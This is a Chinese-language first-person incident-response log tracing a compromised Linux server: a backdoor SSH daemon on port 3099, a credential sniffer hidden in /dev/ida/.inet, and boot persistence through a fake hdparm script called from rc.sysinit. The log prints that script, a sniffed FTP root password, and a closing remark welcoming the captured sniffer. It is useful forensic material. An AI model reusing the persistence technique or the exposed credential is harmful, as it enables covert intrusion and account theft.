一次入侵检测经过
朋友主机遭到入侵。
superscan 扫描目标主机有开端口3099
以root身份登陆入侵主机
查看端口开放情况！
[root@RredDhatT bin]# netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:auth *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:www *:* LISTEN
.....
tcp 0 0 RredDhatT:7070 *:* LISTEN
tcp 0 0 RredDhatT:554 *:* LISTEN
tcp 0 0 *:3099 *:* LISTEN
tcp 0 0 localhost:554 localhost:2869 TIME_WAIT
Active UNIX domain sockets (including servers)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ] DGRAM 421
unix 0 [ ] DGRAM 433
u.........
unix 0 [ ACC ] STREAM LISTENING 544 /tmp/.font-unix/fs-1
unix 6 [ ] DGRAM 411 /dev/log
unix 0 [ ] STREAM CONNECTED 192 @00000018
发现开有未明端口3099
用ps -aux查看非法进程
[root@RredDhatT bin]# ps -aux
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
daemon 467 0.0 0.0 1144 104 ? S Mar 19 0:00 /usr/sbin/atd
nobody 449 0.0 0.0 1284 164 ? S Mar 19 0:00 identd -e -o
nobody 450 0.0 0.0 1284 164 ? S Mar 19 0:05 identd -e -o
nobody 454 0.0 0.0 1284 164 ? S Mar 19 0:00 identd -e -o
......
root 6249 0.0 0.2 1940 1176 ? S 22:49 0:00 vi test
root 6259 0.0 0.0 940 416 ? R 22:56 0:00 ps -aux
root 16560 0.0 0.1 1212 572 ? S 21:58 0:00 in.telnetd: bbb
root 16569 0.0 0.2 2228 1120 ? S 21:58 0:00 login -- vod
root 16742 0.0 0.1 2156 948 ? S 21:58 0:00 su
root 16775 0.0 0.1 1748 1000 ? S 21:58 0:00 bash
vod 6170 0.0 0.1 1696 940 ? S 22:39 0:00 -bash
vod 16673 0.0 0.1 1696 940 ? S 21:58 0:00 -bash
xfs 572 0.0 0.0 2060 60 ? S Mar 19 0:00 xfs -droppriv -daemon -port -1
为发现异常。
用lsof查看（list open file）
[root@RredDhatT /root]# /usr/sbin/lsof >test
[root@RredDhatT /root]# vi test 或 grep 3099 *
查看test文件中是否包含3099字样！
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
test:sshdu 6224 root 3u IPv4 28244 TCP *:3099 (LISTEN)
找到执行程序！！
执行程序为sshdu
先杀了在说！！
[root@RredDhatT /root]# kill 6224
确认3099关闭！！
[root@RredDhatT /root]# netstat -a -n
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
............
tcp 0 0 127.0.0.1:554 127.0.0.1:2894 TIME_WAIT
raw 0 0 0.0.0.0:1 0.0.0.0:*
Active UNIX domain sockets (including servers)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ] DGRAM 421
unix 0 [ ] DGRAM 433
unix 0 [ ] DGRAM 548
..........
unix 0 [ ACC ] STREAM LISTENING 544 /tmp/.font-unix/fs-1
unix 6 [ ] DGRAM 411 /dev/log
unix 0 [ ] STREAM CONNECTED 192 @00000018
端口3099关闭！！！
查找sshdu位置！
[root@RredDhatT /root]# locate sshdu
/dev/ida/.inet/sshdu
[root@RredDhatT ida]# ls *net -l
ls: *net: No such file or directory
没有此目录！TNND！！！
[root@RredDhatT ida]# cd .inet
可以进去！！
[root@RredDhatT .inet]# ll
total 768
-rwx------ 1 root root 7165 Sep 26 1983 linsniffer
-rwx------ 1 root root 75 Sep 26 1983 logclear
-rw-r--r-- 1 root root 5 Mar 24 06:42 pid
-rw-r--r-- 1 root root 704 Feb 2 20:02 s
-rwxr-xr-x 1 root root 4060 Sep 26 1983 sense
-rwx------ 1 root root 8268 Sep 26 1983 sl2
-rw------- 1 root root 541 Sep 26 1983 ssh_host_key
-rw------- 1 root root 512 Mar 24 06:42 ssh_random_seed
-rwxr-xr-x 1 root root 686535 Dec 3 04:37 sshdu
-rw-r--r-- 1 root root 47889 Mar 24 06:52 tcp.log
[root@RredDhatT .inet]# cd ..
[root@RredDhatT ida]# ls .inet -d -l
drwxr-xr-x 2 root root 4096 Feb 14 11:43 .inet
建成时间为２．１４，居然在人们约会的时候进来！！，高！！！
[root@RredDhatT /root]# cd .inet
[root@RredDhatT .inet]# more tcp.log
192.168.10.112 => server [21]
USER root
PASS adsdfa!@#
PWD
RETR /usr/local/Logs/rmaccess.log
QUIT
tcp.log中记录了所有登陆名字和密码以及command记录！！！！
查找从何处开始执行sshdu:
[root@RredDhatT bin]# find /etc -type f -exec grep -s sshdu {} \; -print
没有结果！！！
继续！！！！
[root@RredDhatT bin]# find /bin -type f -exec grep -s sshdu {} \; -print
[root@RredDhatT bin]# find /sbin -type f -exec grep -s sshdu {} \; -print
[root@RredDhatT bin]# find /usr -type f -exec grep -s sshdu {} \; -print
./sshdu -f ./s
/usr/bin/hdparm
终于找到了宿主文件！！
[root@RredDhatT bin]# cd /usr/bin/
[root@RredDhatT bin]# ls hd* -l
-r-x------ 1 root root 76 Nov 12 06:01 hdparm
[root@RredDhatT bin]# more hdparm
#!/bin/sh
cd /dev/ida/.inet
./sshdu -f ./s
./linsniffer >> ./tcp.log &
cd /
[root@RredDhatT bin]#
在/etc目录中找hdparm:
[root@RredDhatT bin]# find /etc -type f -exec grep -s hdparm {} \; -print
/usr/bin/hdparm -t1 -X53 -p
/etc/rc.d/rc.sysinit
找到源头！！！
[root@RredDhatT /root]# vi /etc/rc.d/rc.sysinit
#/usr/bin/hdparm -t1 -X53 -p
reboot!
搞到一个sniffer的好东东！！！
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